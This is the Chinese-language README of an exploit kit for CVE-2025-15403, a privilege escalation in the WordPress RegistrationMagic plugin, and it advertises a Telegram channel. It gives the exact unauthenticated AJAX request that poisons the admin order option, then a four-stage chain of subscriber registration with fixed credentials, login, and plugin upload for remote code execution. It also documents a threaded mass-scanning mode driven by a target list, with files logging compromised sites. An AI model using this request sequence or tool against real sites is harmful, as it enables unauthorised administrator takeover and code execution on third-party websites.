RegistrationMagic <= 6.0.7.1 - 未认证权限提升 via admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 情报在此率先发布。 在 Telegram 上关注 @KNxploited — 精准的 CVE 披露、可用的漏洞利用代码以及深入的漏洞研究。 这个频道属于那些不等新闻、而是创造新闻的人。
CVE-2025-15403 是 WordPress 的 RegistrationMagic 插件中的一个 CVSS 9.8 严重级别 权限提升漏洞。
该漏洞存在于插件的 add_menu 函数中,该函数通过 rm_user_exists AJAX 动作以未认证方式暴露。攻击者通过向 order 参数注入一个空 slug,同时附带 enable_admin_order=yes 标志,从而操纵插件的内部菜单生成逻辑。当随后生成管理员菜单时,插件会静默地对目标角色调用 add_cap('manage_options') — 将任何订阅者级别的账户提升为完全管理权限。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-15403 |
| 插件 | RegistrationMagic |
| 别名 | registrationmagic / custom-registration-form-builder-with-submission-manager |
| 受影响版本 | 所有版本,包括 6.0.7.1 |
| 漏洞类型 | 未认证权限提升 |
| 攻击条件 | AJAX 阶段:无。利用:需要一个订阅者账户 |
| 攻击向量 | 网络 |
| CVSS 3.1 评分 | 9.8 严重 |
| CVSS 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 影响 | 完全接管 WordPress 管理员 |
| 研究人员 | Nxploited |
根本原因是 add_menu 函数通过 rm_user_exists 无需认证即可访问,同时 admin_order 的 slug 完全没有验证:
// 注册时未进行权限检查
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← 用户控制,未进行消毒处理
$role_key = /* 从 POST 中获取 */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// 将攻击者控制的 order 存储到插件选项中
update_option('rm_admin_order', $order); // 例如 ",menu1" → 第一个 slug 为空
}
}
// 稍后,当管理员菜单被构建时...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← 被攻击者污染
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// 空 slug 触发无条件的能力授予
$role->add_cap('manage_options'); // ← 添加完全管理员能力
}
}
}
为什么这很严重:
wp_ajax_nopriv_* = 不需要任何认证即可污染选项order=,menu1 中的空 slug 通过了 empty() 检查,触发了 add_cap('manage_options')manage_options 是 WordPress 的最高能力 — 等同于管理员╔══════════════════════════════════════════════════════════════════════════╗
║ 阶段 1 — 未认证选项污染 ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← 第一个元素为空 = 空 slug
_Subscriber = 1 ← 目标角色键
restore = false
enable_admin_order= yes
响应:HTTP 200(任何非阻断响应都表示选项已被污染)
↓ 插件将 order=",menu1" 存储到 wp_options 中
↓ 下次管理员菜单构建时,对订阅者角色触发 add_cap('manage_options')
╔══════════════════════════════════════════════════════════════════════════╗
║ 阶段 2 — 获取账户(订阅者) ║
╚══════════════════════════════════════════════════════════════════════════╝
选项 A — 通过网站注册表单注册(模式 0):
GET /wp-login.php?action=register → 智能表单检测
POST → 创建订阅者账户
凭证:NXploited / xplpass123
选项 B — 使用现有的订阅者账户。
╔══════════════════════════════════════════════════════════════════════════╗
║ 阶段 3 — 登录 + 能力收获 ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
订阅者账户现在拥有 manage_options → 完全访问管理员面板
╔══════════════════════════════════════════════════════════════════════════╗
║ 阶段 4 — 深度验证 & 通过插件上传实现 RCE ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → 管理员仪表盘可访问 ✔️
GET /wp-admin/plugin-install.php → 插件安装页面可访问 ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → 插件已上传并执行 ✔️
GET /wp-content/plugins/Nxploited/hello.php
响应包含 "Nxploited" → 确认 RCE ✔️
此漏洞利用套件提供三种不同的模式,覆盖完整的攻击生命周期:
| 模式 | 名称 | 描述 |
|---|---|---|
0 | 仅注册 | 智能 WordPress 表单检测 + 订阅者账户注册 |
1 | 仅利用 | 触发未认证的 AJAX 原语以污染 admin_order |
2 | 利用 + 登录 + 验证 | 完整链:原语 → 登录 → 管理员仪表盘 → 插件安装 → RCE |
pip install requests colorama urllib3
| 依赖项 | 用途 |
|---|---|
requests | HTTP 会话、Cookie 处理、重定向跟踪 |
colorama | 跨平台彩色终端输出 |
urllib3 | 抑制自签名证书的 SSL 警告 |
concurrent.futures | 用于高吞吐量多目标扫描的线程池 |
zipfile | 用于 RCE 验证的内存中测试插件 ZIP 生成 |
html.parser | 智能注册表单检测和字段提取 |
需要 Python 3.8+。推荐 Python 3.10+(使用了
X | Y联合类型提示)。
CVE-2025-15403/
├── CVE-2025-15403.py # 主漏洞利用套件
├── list.txt # 目标 URL — 每行一个
│
├── rm_register_results.txt # 模式 0:成功注册的记录
├── rm_exploit_results.txt # 模式 1 & 2:原语触发日志
├── rm_admin_verify.txt # 模式 2:登录 + 管理员验证日志
├── rm_plugin_uploads.txt # 模式 2:插件上传尝试日志
│
├── rm_admin_dashboard_success.txt # ✔ 确认管理员仪表盘可访问的站点
├── rm_plugin_install_access.txt # ✔ 确认插件安装页面可访问的站点
└── rm_plugin_rce_success.txt # ✔ 确认通过插件上传实现 RCE 的站点
底部的三个
_success文件代表了逐步递进的攻陷级别 — 一旦其条件被确认,就会独立写入。
创建 list.txt,每行一个 URL 或主机名:
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com
没有 scheme 的裸主机名会自动添加
https://前缀。 子目录 WordPress 安装(例如/wordpress)会被自动检测和处理。
python CVE-2025-15403.py
系统会交互式地提示您输入所有参数。模式 2 的示例会话:
选择模式(0 = 注册,1 = 利用,2 = 利用+验证)[0]:2
目标列表文件(每行一个主机/URL)[list.txt]:list.txt
线程数(并发站点)[5]:20
HTTP 超时(秒)[10]:12
要升级的角色键(例如 _Subscriber, _Editor)[_Subscriber]:_Subscriber
登录用户名(例如 NXploited)[NXploited]:NXploited
该用户的密码 [xplpass123]:xplpass123
管理员验证的输出文件 [rm_admin_verify.txt]:rm_admin_verify.txt
插件上传测试的输出文件 [rm_plugin_uploads.txt]:rm_plugin_uploads.txt
在模式 2 中,登录前是否发送原语?(yes/no)[yes]:yes